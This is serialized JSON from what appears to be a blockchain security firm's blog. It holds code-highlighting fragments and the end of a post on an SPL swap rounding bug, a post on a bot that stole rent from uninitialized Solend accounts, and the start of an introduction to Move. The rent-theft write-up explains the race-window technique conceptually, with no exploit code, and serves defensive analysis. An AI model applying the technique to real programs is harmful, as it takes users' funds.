U256",{"type":24,"tag":271,"props":12450,"children":12451},{"style":288},[12452],{"type":29,"value":1069},{"type":24,"tag":271,"props":12454,"children":12455},{"class":273,"line":294},[12456,12460,12464,12468,12472,12476],{"type":24,"tag":271,"props":12457,"children":12458},{"style":278},[12459],{"type":29,"value":12430},{"type":24,"tag":271,"props":12461,"children":12462},{"style":278},[12463],{"type":29,"value":10743},{"type":24,"tag":271,"props":12465,"children":12466},{"style":630},[12467],{"type":29,"value":10748},{"type":24,"tag":271,"props":12469,"children":12470},{"style":624},[12471],{"type":29,"value":1712},{"type":24,"tag":271,"props":12473,"children":12474},{"style":630},[12475],{"type":29,"value":10757},{"type":24,"tag":271,"props":12477,"children":12478},{"style":288},[12479],{"type":29,"value":1069},{"type":24,"tag":271,"props":12481,"children":12482},{"class":273,"line":303},[12483,12488,12492,12496,12500,12504],{"type":24,"tag":271,"props":12484,"children":12485},{"style":749},[12486],{"type":29,"value":12487}," for",{"type":24,"tag":271,"props":12489,"children":12490},{"style":630},[12491],{"type":29,"value":10773},{"type":24,"tag":271,"props":12493,"children":12494},{"style":278},[12495],{"type":29,"value":10778},{"type":24,"tag":271,"props":12497,"children":12498},{"style":477},[12499],{"type":29,"value":767},{"type":24,"tag":271,"props":12501,"children":12502},{"style":624},[12503],{"type":29,"value":10787},{"type":24,"tag":271,"props":12505,"children":12506},{"style":288},[12507],{"type":29,"value":10792},{"type":24,"tag":271,"props":12509,"children":12510},{"class":273,"line":312},[12511,12515,12520,12524,12528],{"type":24,"tag":271,"props":12512,"children":12513},{"style":624},[12514],{"type":29,"value":9821},{"type":24,"tag":271,"props":12516,"children":12517},{"style":630},[12518],{"type":29,"value":12519}," y_prev",{"type":24,"tag":271,"props":12521,"children":12522},{"style":624},[12523],{"type":29,"value":1712},{"type":24,"tag":271,"props":12525,"children":12526},{"style":630},[12527],{"type":29,"value":10748},{"type":24,"tag":271,"props":12529,"children":12530},{"style":288},[12531],{"type":29,"value":1069},{"type":24,"tag":271,"props":12533,"children":12534},{"class":273,"line":321},[12535,12539,12544,12548,12552,12556,12560,12564,12568,12572,12576,12580,12584,12588,12592,12596,12600,12604],{"type":24,"tag":271,"props":12536,"children":12537},{"style":624},[12538],{"type":29,"value":9821},{"type":24,"tag":271,"props":12540,"children":12541},{"style":630},[12542],{"type":29,"value":12543}," y",{"type":24,"tag":271,"props":12545,"children":12546},{"style":624},[12547],{"type":29,"value":1712},{"type":24,"tag":271,"props":12549,"children":12550},{"style":288},[12551],{"type":29,"value":1357},{"type":24,"tag":271,"props":12553,"children":12554},{"style":598},[12555],{"type":29,"value":10835},{"type":24,"tag":271,"props":12557,"children":12558},{"style":288},[12559],{"type":29,"value":606},{"type":24,"tag":271,"props":12561,"children":12562},{"style":624},[12563],{"type":29,"value":1137},{"type":24,"tag":271,"props":12565,"children":12566},{"style":630},[12567],{"type":29,"value":10848},{"type":24,"tag":271,"props":12569,"children":12570},{"style":288},[12571],{"type":29,"value":158},{"type":24,"tag":271,"props":12573,"children":12574},{"style":477},[12575],{"type":29,"value":165},{"type":24,"tag":271,"props":12577,"children":12578},{"style":288},[12579],{"type":29,"value":2693},{"type":24,"tag":271,"props":12581,"children":12582},{"style":624},[12583],{"type":29,"value":10865},{"type":24,"tag":271,"props":12585,"children":12586},{"style":598},[12587],{"type":29,"value":10870},{"type":24,"tag":271,"props":12589,"children":12590},{"style":288},[12591],{"type":29,"value":606},{"type":24,"tag":271,"props":12593,"children":12594},{"style":630},[12595],{"type":29,"value":578},{"type":24,"tag":271,"props":12597,"children":12598},{"style":288},[12599],{"type":29,"value":2693},{"type":24,"tag":271,"props":12601,"children":12602},{"style":624},[12603],{"type":29,"value":10887},{"type":24,"tag":271,"props":12605,"children":12606},{"style":288},[12607],{"type":29,"value":694},{"type":24,"tag":271,"props":12609,"children":12610},{"class":273,"line":330},[12611,12615,12619,12624,12628,12632,12636,12640,12644,12648,12652,12656,12660,12664,12668,12672,12676,12680,12684,12688,12692,12696,12700,12704,12708],{"type":24,"tag":271,"props":12612,"children":12613},{"style":624},[12614],{"type":29,"value":9821},{"type":24,"tag":271,"props":12616,"children":12617},{"style":624},[12618],{"type":29,"value":10899},{"type":24,"tag":271,"props":12620,"children":12621},{"style":598},[12622],{"type":29,"value":12623},"checked_div",{"type":24,"tag":271,"props":12625,"children":12626},{"style":288},[12627],{"type":29,"value":606},{"type":24,"tag":271,"props":12629,"children":12630},{"style":598},[12631],{"type":29,"value":10913},{"type":24,"tag":271,"props":12633,"children":12634},{"style":288},[12635],{"type":29,"value":606},{"type":24,"tag":271,"props":12637,"children":12638},{"style":624},[12639],{"type":29,"value":1137},{"type":24,"tag":271,"props":12641,"children":12642},{"style":630},[12643],{"type":29,"value":10848},{"type":24,"tag":271,"props":12645,"children":12646},{"style":288},[12647],{"type":29,"value":158},{"type":24,"tag":271,"props":12649,"children":12650},{"style":477},[12651],{"type":29,"value":165},{"type":24,"tag":271,"props":12653,"children":12654},{"style":288},[12655],{"type":29,"value":2693},{"type":24,"tag":271,"props":12657,"children":12658},{"style":624},[12659],{"type":29,"value":10865},{"type":24,"tag":271,"props":12661,"children":12662},{"style":598},[12663],{"type":29,"value":10870},{"type":24,"tag":271,"props":12665,"children":12666},{"style":288},[12667],{"type":29,"value":606},{"type":24,"tag":271,"props":12669,"children":12670},{"style":630},[12671],{"type":29,"value":10954},{"type":24,"tag":271,"props":12673,"children":12674},{"style":288},[12675],{"type":29,"value":2693},{"type":24,"tag":271,"props":12677,"children":12678},{"style":624},[12679],{"type":29,"value":10865},{"type":24,"tag":271,"props":12681,"children":12682},{"style":598},[12683],{"type":29,"value":10967},{"type":24,"tag":271,"props":12685,"children":12686},{"style":288},[12687],{"type":29,"value":606},{"type":24,"tag":271,"props":12689,"children":12690},{"style":630},[12691],{"type":29,"value":10976},{"type":24,"tag":271,"props":12693,"children":12694},{"style":288},[12695],{"type":29,"value":2693},{"type":24,"tag":271,"props":12697,"children":12698},{"style":624},[12699],{"type":29,"value":10887},{"type":24,"tag":271,"props":12701,"children":12702},{"style":288},[12703],{"type":29,"value":2693},{"type":24,"tag":271,"props":12705,"children":12706},{"style":624},[12707],{"type":29,"value":10887},{"type":24,"tag":271,"props":12709,"children":12710},{"style":288},[12711],{"type":29,"value":1069},{"type":24,"tag":271,"props":12713,"children":12714},{"class":273,"line":339},[12715,12719,12723,12727,12731,12735],{"type":24,"tag":271,"props":12716,"children":12717},{"style":624},[12718],{"type":29,"value":9821},{"type":24,"tag":271,"props":12720,"children":12721},{"style":749},[12722],{"type":29,"value":7512},{"type":24,"tag":271,"props":12724,"children":12725},{"style":630},[12726],{"type":29,"value":10748},{"type":24,"tag":271,"props":12728,"children":12729},{"style":624},[12730],{"type":29,"value":1031},{"type":24,"tag":271,"props":12732,"children":12733},{"style":630},[12734],{"type":29,"value":12439},{"type":24,"tag":271,"props":12736,"children":12737},{"style":288},[12738],{"type":29,"value":7145},{"type":24,"tag":271,"props":12740,"children":12741},{"class":273,"line":347},[12742,12746,12750,12754,12758,12762,12766,12770,12774,12778,12782,12786,12790,12794,12798,12802,12806,12810,12814,12818,12822,12826,12830],{"type":24,"tag":271,"props":12743,"children":12744},{"style":624},[12745],{"type":29,"value":1012},{"type":24,"tag":271,"props":12747,"children":12748},{"style":278},[12749],{"type":29,"value":10800},{"type":24,"tag":271,"props":12751,"children":12752},{"style":288},[12753],{"type":29,"value":1357},{"type":24,"tag":271,"props":12755,"children":12756},{"style":630},[12757],{"type":29,"value":10809},{"type":24,"tag":271,"props":12759,"children":12760},{"style":288},[12761],{"type":29,"value":158},{"type":24,"tag":271,"props":12763,"children":12764},{"style":630},[12765],{"type":29,"value":10818},{"type":24,"tag":271,"props":12767,"children":12768},{"style":288},[12769],{"type":29,"value":8823},{"type":24,"tag":271,"props":12771,"children":12772},{"style":624},[12773],{"type":29,"value":762},{"type":24,"tag":271,"props":12775,"children":12776},{"style":288},[12777],{"type":29,"value":1357},{"type":24,"tag":271,"props":12779,"children":12780},{"style":598},[12781],{"type":29,"value":10835},{"type":24,"tag":271,"props":12783,"children":12784},{"style":288},[12785],{"type":29,"value":606},{"type":24,"tag":271,"props":12787,"children":12788},{"style":624},[12789],{"type":29,"value":1137},{"type":24,"tag":271,"props":12791,"children":12792},{"style":630},[12793],{"type":29,"value":10848},{"type":24,"tag":271,"props":12795,"children":12796},{"style":288},[12797],{"type":29,"value":158},{"type":24,"tag":271,"props":12799,"children":12800},{"style":477},[12801],{"type":29,"value":165},{"type":24,"tag":271,"props":12803,"children":12804},{"style":288},[12805],{"type":29,"value":2693},{"type":24,"tag":271,"props":12807,"children":12808},{"style":624},[12809],{"type":29,"value":10865},{"type":24,"tag":271,"props":12811,"children":12812},{"style":598},[12813],{"type":29,"value":10870},{"type":24,"tag":271,"props":12815,"children":12816},{"style":288},[12817],{"type":29,"value":606},{"type":24,"tag":271,"props":12819,"children":12820},{"style":630},[12821],{"type":29,"value":578},{"type":24,"tag":271,"props":12823,"children":12824},{"style":288},[12825],{"type":29,"value":2693},{"type":24,"tag":271,"props":12827,"children":12828},{"style":624},[12829],{"type":29,"value":10887},{"type":24,"tag":271,"props":12831,"children":12832},{"style":288},[12833],{"type":29,"value":694},{"type":24,"tag":271,"props":12835,"children":12836},{"class":273,"line":356},[12837,12841,12845,12849,12853,12857,12861,12865,12869,12873,12877,12881,12885,12889,12893,12897,12901,12905,12909,12913,12917,12921,12925,12929,12933],{"type":24,"tag":271,"props":12838,"children":12839},{"style":624},[12840],{"type":29,"value":1012},{"type":24,"tag":271,"props":12842,"children":12843},{"style":624},[12844],{"type":29,"value":10899},{"type":24,"tag":271,"props":12846,"children":12847},{"style":598},[12848],{"type":29,"value":10904},{"type":24,"tag":271,"props":12850,"children":12851},{"style":288},[12852],{"type":29,"value":606},{"type":24,"tag":271,"props":12854,"children":12855},{"style":598},[12856],{"type":29,"value":10913},{"type":24,"tag":271,"props":12858,"children":12859},{"style":288},[12860],{"type":29,"value":606},{"type":24,"tag":271,"props":12862,"children":12863},{"style":624},[12864],{"type":29,"value":1137},{"type":24,"tag":271,"props":12866,"children":12867},{"style":630},[12868],{"type":29,"value":10848},{"type":24,"tag":271,"props":12870,"children":12871},{"style":288},[12872],{"type":29,"value":158},{"type":24,"tag":271,"props":12874,"children":12875},{"style":477},[12876],{"type":29,"value":165},{"type":24,"tag":271,"props":12878,"children":12879},{"style":288},[12880],{"type":29,"value":2693},{"type":24,"tag":271,"props":12882,"children":12883},{"style":624},[12884],{"type":29,"value":10865},{"type":24,"tag":271,"props":12886,"children":12887},{"style":598},[12888],{"type":29,"value":10870},{"type":24,"tag":271,"props":12890,"children":12891},{"style":288},[12892],{"type":29,"value":606},{"type":24,"tag":271,"props":12894,"children":12895},{"style":630},[12896],{"type":29,"value":10954},{"type":24,"tag":271,"props":12898,"children":12899},{"style":288},[12900],{"type":29,"value":2693},{"type":24,"tag":271,"props":12902,"children":12903},{"style":624},[12904],{"type":29,"value":10865},{"type":24,"tag":271,"props":12906,"children":12907},{"style":598},[12908],{"type":29,"value":10967},{"type":24,"tag":271,"props":12910,"children":12911},{"style":288},[12912],{"type":29,"value":606},{"type":24,"tag":271,"props":12914,"children":12915},{"style":630},[12916],{"type":29,"value":10976},{"type":24,"tag":271,"props":12918,"children":12919},{"style":288},[12920],{"type":29,"value":2693},{"type":24,"tag":271,"props":12922,"children":12923},{"style":624},[12924],{"type":29,"value":10887},{"type":24,"tag":271,"props":12926,"children":12927},{"style":288},[12928],{"type":29,"value":2693},{"type":24,"tag":271,"props":12930,"children":12931},{"style":624},[12932],{"type":29,"value":10887},{"type":24,"tag":271,"props":12934,"children":12935},{"style":288},[12936],{"type":29,"value":1069},{"type":24,"tag":271,"props":12938,"children":12939},{"class":273,"line":365},[12940,12944,12948,12952,12956,12960],{"type":24,"tag":271,"props":12941,"children":12942},{"style":624},[12943],{"type":29,"value":1012},{"type":24,"tag":271,"props":12945,"children":12946},{"style":749},[12947],{"type":29,"value":7512},{"type":24,"tag":271,"props":12949,"children":12950},{"style":630},[12951],{"type":29,"value":11008},{"type":24,"tag":271,"props":12953,"children":12954},{"style":624},[12955],{"type":29,"value":1031},{"type":24,"tag":271,"props":12957,"children":12958},{"style":630},[12959],{"type":29,"value":10748},{"type":24,"tag":271,"props":12961,"children":12962},{"style":288},[12963],{"type":29,"value":7145},{"type":24,"tag":271,"props":12965,"children":12966},{"class":273,"line":374},[12967,12972],{"type":24,"tag":271,"props":12968,"children":12969},{"style":749},[12970],{"type":29,"value":12971}," break",{"type":24,"tag":271,"props":12973,"children":12974},{"style":288},[12975],{"type":29,"value":1069},{"type":24,"tag":271,"props":12977,"children":12978},{"class":273,"line":384},[12979,12983,12987,12991],{"type":24,"tag":271,"props":12980,"children":12981},{"style":624},[12982],{"type":29,"value":1012},{"type":24,"tag":271,"props":12984,"children":12985},{"style":288},[12986],{"type":29,"value":11039},{"type":24,"tag":271,"props":12988,"children":12989},{"style":749},[12990],{"type":29,"value":11044},{"type":24,"tag":271,"props":12992,"children":12993},{"style":288},[12994],{"type":29,"value":7145},{"type":24,"tag":271,"props":12996,"children":12997},{"class":273,"line":393},[12998,13002,13006,13010,13014],{"type":24,"tag":271,"props":12999,"children":13000},{"style":624},[13001],{"type":29,"value":1012},{"type":24,"tag":271,"props":13003,"children":13004},{"style":630},[13005],{"type":29,"value":11056},{"type":24,"tag":271,"props":13007,"children":13008},{"style":624},[13009],{"type":29,"value":1712},{"type":24,"tag":271,"props":13011,"children":13012},{"style":630},[13013],{"type":29,"value":11008},{"type":24,"tag":271,"props":13015,"children":13016},{"style":288},[13017],{"type":29,"value":1069},{"type":24,"tag":271,"props":13019,"children":13020},{"class":273,"line":402},[13021],{"type":24,"tag":271,"props":13022,"children":13023},{"style":288},[13024],{"type":29,"value":13025}," }\n",{"type":24,"tag":62,"props":13027,"children":13029},{"id":13028},"closing-thoughts",[13030],{"type":29,"value":13031},"Closing Thoughts",{"type":24,"tag":25,"props":13033,"children":13034},{},[13035],{"type":29,"value":13036},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":24,"tag":25,"props":13038,"children":13039},{},[13040,13042,13047],{"type":29,"value":13041},"Another interesting takeaway is that ",{"type":24,"tag":213,"props":13043,"children":13044},{},[13045],{"type":29,"value":13046},"fuzzing can give a false sense of security",{"type":29,"value":13048},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":24,"tag":25,"props":13050,"children":13051},{},[13052,13054,13061],{"type":29,"value":13053},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":24,"tag":32,"props":13055,"children":13058},{"href":13056,"rel":13057},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[36],[13059],{"type":29,"value":13060},"port-mortem of the NSS overflow",{"type":29,"value":41},{"type":24,"tag":25,"props":13063,"children":13064},{},[13065],{"type":24,"tag":74,"props":13066,"children":13068},{"alt":7,"src":13067},"/posts/spl-swap/p0.png",[],{"type":24,"tag":25,"props":13070,"children":13071},{},[13072],{"type":29,"value":13073},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":24,"tag":25,"props":13075,"children":13076},{},[13077],{"type":29,"value":13078},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":24,"tag":25,"props":13080,"children":13081},{},[13082],{"type":29,"value":13083},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":24,"tag":10562,"props":13085,"children":13086},{},[13087],{"type":29,"value":10566},{"title":7,"searchDepth":284,"depth":284,"links":13089},[13090,13091,13092,13093],{"id":10655,"depth":284,"text":10658},{"id":11644,"depth":284,"text":11647},{"id":257,"depth":284,"text":11949},{"id":13028,"depth":284,"text":13031},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":13098,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":13099,"description":13100,"image":13101,"date":13105,"isFeatured":16,"onBlogPage":16,"tags":13106,"body":13107,"_type":10599,"_id":13431,"_source":10601,"_file":13432,"_stem":13433,"_extension":10604},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":13102,"width":13103,"height":13104},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",[10616,10617],{"type":21,"children":13108,"toc":13424},[13109,13114,13120,13125,13130,13135,13141,13154,13201,13232,13241,13246,13251,13256,13262,13275,13291,13296,13301,13316,13320,13325,13340,13347,13352,13362,13369,13373,13378,13384,13389,13394,13399,13405,13410],{"type":24,"tag":25,"props":13110,"children":13111},{},[13112],{"type":29,"value":13113},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":24,"tag":62,"props":13115,"children":13117},{"id":13116},"background",[13118],{"type":29,"value":13119},"Background",{"type":24,"tag":25,"props":13121,"children":13122},{},[13123],{"type":29,"value":13124},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":24,"tag":25,"props":13126,"children":13127},{},[13128],{"type":29,"value":13129},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":24,"tag":25,"props":13131,"children":13132},{},[13133],{"type":29,"value":13134},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":24,"tag":62,"props":13136,"children":13138},{"id":13137},"the-exploit",[13139],{"type":29,"value":13140},"The Exploit",{"type":24,"tag":25,"props":13142,"children":13143},{},[13144,13146,13152],{"type":29,"value":13145},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":24,"tag":135,"props":13147,"children":13149},{"className":13148},[],[13150],{"type":29,"value":13151},"init_reserve",{"type":29,"value":13153}," function, which creates 6 new accounts to store data about the reserve:",{"type":24,"tag":3834,"props":13155,"children":13156},{},[13157,13162,13167,13172,13183,13188],{"type":24,"tag":101,"props":13158,"children":13159},{},[13160],{"type":29,"value":13161},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":24,"tag":101,"props":13163,"children":13164},{},[13165],{"type":29,"value":13166},"reserve liquidity token account - holds deposited tokens",{"type":24,"tag":101,"props":13168,"children":13169},{},[13170],{"type":29,"value":13171},"fee receiver token account - account which will receive origination fees on borrows",{"type":24,"tag":101,"props":13173,"children":13174},{},[13175,13177],{"type":29,"value":13176},"reserve collateral mint account - deposit receipt token, also known as ",{"type":24,"tag":135,"props":13178,"children":13180},{"className":13179},[],[13181],{"type":29,"value":13182},"cTokens",{"type":24,"tag":101,"props":13184,"children":13185},{},[13186],{"type":29,"value":13187},"reserve collateral token account - holds users' collateral tokens",{"type":24,"tag":101,"props":13189,"children":13190},{},[13191,13193,13199],{"type":29,"value":13192},"creator collateral token account - creator's ",{"type":24,"tag":135,"props":13194,"children":13196},{"className":13195},[],[13197],{"type":29,"value":13198},"cToken",{"type":29,"value":13200}," account",{"type":24,"tag":25,"props":13202,"children":13203},{},[13204,13206,13211,13213,13218,13220,13225,13227],{"type":29,"value":13205},"Account creation and initialization are ",{"type":24,"tag":10648,"props":13207,"children":13208},{},[13209],{"type":29,"value":13210},"usually",{"type":29,"value":13212}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":24,"tag":135,"props":13214,"children":13216},{"className":13215},[],[13217],{"type":29,"value":13151},{"type":29,"value":13219}," is ",{"type":24,"tag":10648,"props":13221,"children":13222},{},[13223],{"type":29,"value":13224},"supposed",{"type":29,"value":13226}," to look like:\n",{"type":24,"tag":74,"props":13228,"children":13231},{"src":13229,"alt":13230},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":24,"tag":25,"props":13233,"children":13234},{},[13235,13237],{"type":29,"value":13236},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":24,"tag":74,"props":13238,"children":13240},{"src":13239,"alt":13230},"/posts/rent-thief/attacktransac.png",[],{"type":24,"tag":25,"props":13242,"children":13243},{},[13244],{"type":29,"value":13245},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":24,"tag":25,"props":13247,"children":13248},{},[13249],{"type":29,"value":13250},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":24,"tag":25,"props":13252,"children":13253},{},[13254],{"type":29,"value":13255},"Despite this lost cost, this is pretty annoying...",{"type":24,"tag":62,"props":13257,"children":13259},{"id":13258},"example",[13260],{"type":29,"value":13261},"Example",{"type":24,"tag":25,"props":13263,"children":13264},{},[13265,13267,13274],{"type":29,"value":13266},"Let's take a look at ",{"type":24,"tag":32,"props":13268,"children":13271},{"href":13269,"rel":13270},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[36],[13272],{"type":29,"value":13273},"a real attack",{"type":29,"value":41},{"type":24,"tag":25,"props":13276,"children":13277},{},[13278,13285,13287],{"type":24,"tag":32,"props":13279,"children":13282},{"href":13280,"rel":13281},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[36],[13283],{"type":29,"value":13284},"Transaction 1",{"type":29,"value":13286},":\n",{"type":24,"tag":74,"props":13288,"children":13290},{"alt":7,"src":13289},"https://i.imgur.com/xJvIwgc.png",[],{"type":24,"tag":25,"props":13292,"children":13293},{},[13294],{"type":29,"value":13295},"(...more accounts truncated)",{"type":24,"tag":25,"props":13297,"children":13298},{},[13299],{"type":29,"value":13300},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":24,"tag":25,"props":13302,"children":13303},{},[13304,13311,13312],{"type":24,"tag":32,"props":13305,"children":13308},{"href":13306,"rel":13307},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[36],[13309],{"type":29,"value":13310},"Attacker's Transaction",{"type":29,"value":13286},{"type":24,"tag":74,"props":13313,"children":13315},{"alt":7,"src":13314},"https://i.imgur.com/CpSKuL3.png",[],{"type":24,"tag":25,"props":13317,"children":13318},{},[13319],{"type":29,"value":13295},{"type":24,"tag":25,"props":13321,"children":13322},{},[13323],{"type":29,"value":13324},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":24,"tag":25,"props":13326,"children":13327},{},[13328,13335,13336],{"type":24,"tag":32,"props":13329,"children":13332},{"href":13330,"rel":13331},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[36],[13333],{"type":29,"value":13334},"Transaction 2",{"type":29,"value":13286},{"type":24,"tag":74,"props":13337,"children":13339},{"alt":7,"src":13338},"https://i.imgur.com/of0GIdw.png",[],{"type":24,"tag":25,"props":13341,"children":13342},{},[13343],{"type":24,"tag":74,"props":13344,"children":13346},{"alt":7,"src":13345},"https://i.imgur.com/0STSyv8.png",[],{"type":24,"tag":25,"props":13348,"children":13349},{},[13350],{"type":29,"value":13351},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":24,"tag":25,"props":13353,"children":13354},{},[13355,13361],{"type":24,"tag":32,"props":13356,"children":13359},{"href":13357,"rel":13358},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[36],[13360],{"type":29,"value":13310},{"type":29,"value":12210},{"type":24,"tag":25,"props":13363,"children":13364},{},[13365],{"type":24,"tag":74,"props":13366,"children":13368},{"alt":7,"src":13367},"https://i.imgur.com/AmSPdmy.png",[],{"type":24,"tag":25,"props":13370,"children":13371},{},[13372],{"type":29,"value":13295},{"type":24,"tag":25,"props":13374,"children":13375},{},[13376],{"type":29,"value":13377},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":24,"tag":62,"props":13379,"children":13381},{"id":13380},"impact",[13382],{"type":29,"value":13383},"Impact",{"type":24,"tag":25,"props":13385,"children":13386},{},[13387],{"type":29,"value":13388},"Rent-thieving attacks don't steal much money.",{"type":24,"tag":25,"props":13390,"children":13391},{},[13392],{"type":29,"value":13393},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":24,"tag":25,"props":13395,"children":13396},{},[13397],{"type":29,"value":13398},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":24,"tag":62,"props":13400,"children":13402},{"id":13401},"solution",[13403],{"type":29,"value":13404},"Solution",{"type":24,"tag":25,"props":13406,"children":13407},{},[13408],{"type":29,"value":13409},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":24,"tag":25,"props":13411,"children":13412},{},[13413,13415,13422],{"type":29,"value":13414},"As a more permenant solution, Solend implemented ",{"type":24,"tag":32,"props":13416,"children":13419},{"href":13417,"rel":13418},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[36],[13420],{"type":29,"value":13421},"an onchain program",{"type":29,"value":13423}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":284,"depth":284,"links":13425},[13426,13427,13428,13429,13430],{"id":13116,"depth":284,"text":13119},{"id":13137,"depth":284,"text":13140},{"id":13258,"depth":284,"text":13261},{"id":13380,"depth":284,"text":13383},{"id":13401,"depth":284,"text":13404},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":13435,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":13436,"description":13437,"author":13438,"image":13439,"date":13442,"isFeatured":16,"onBlogPage":16,"body":13443,"_type":10599,"_id":16965,"_source":10601,"_file":16966,"_stem":16967,"_extension":10604},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.","robert",{"src":13440,"height":13441,"width":14},"/posts/move-intro/title.jpg",1221,"2022-09-06",{"type":21,"children":13444,"toc":16960},[13445,13450,13455,13474,13480,13492,13589,13597,13717,13725,13747,13900,13905,14163,14184,14219,14224,14244,14249,14260,14272,14484,14496,14510,14523,14780,14792,15013,15018,15046,15192,15211,15216,15480,15492,15497,15510,15516,15521,15526,15538,15552,15557,15655,15667,15680,15954,15959,15971,15976,16030,16050,16055,16929,16933,16938,16943,16956],{"type":24,"tag":25,"props":13446,"children":13447},{},[13448],{"type":29,"value":13449},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":24,"tag":25,"props":13451,"children":13452},{},[13453],{"type":29,"value":13454},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":24,"tag":25,"props":13456,"children":13457},{},[13458,13460,13465,13467,13472],{"type":29,"value":13459},"In this piece I'll seek to discuss exactly ",{"type":24,"tag":10648,"props":13461,"children":13462},{},[13463],{"type":29,"value":13464},"how",{"type":29,"value":13466}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":24,"tag":10648,"props":13468,"children":13469},{},[13470],{"type":29,"value":13471},"structurally",{"type":29,"value":13473}," safer programs.",{"type":24,"tag":62,"props":13475,"children":13477},{"id":13476},"types",[13478],{"type":29,"value":13479},"Types",{"type":24,"tag":25,"props":13481,"children":13482},{},[13483,13485,13491],{"type":29,"value":13484},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":24,"tag":135,"props":13486,"children":13488},{"className":13487},[],[13489],{"type":29,"value":13490},"coin.move",{"type":29,"value":41},{"type":24,"tag":261,"props":13493,"children":13495},{"className":10718,"code":13494,"language":10717,"meta":7,"style":7}," /// Main structure representing a coin/token in an account's custody.\n struct 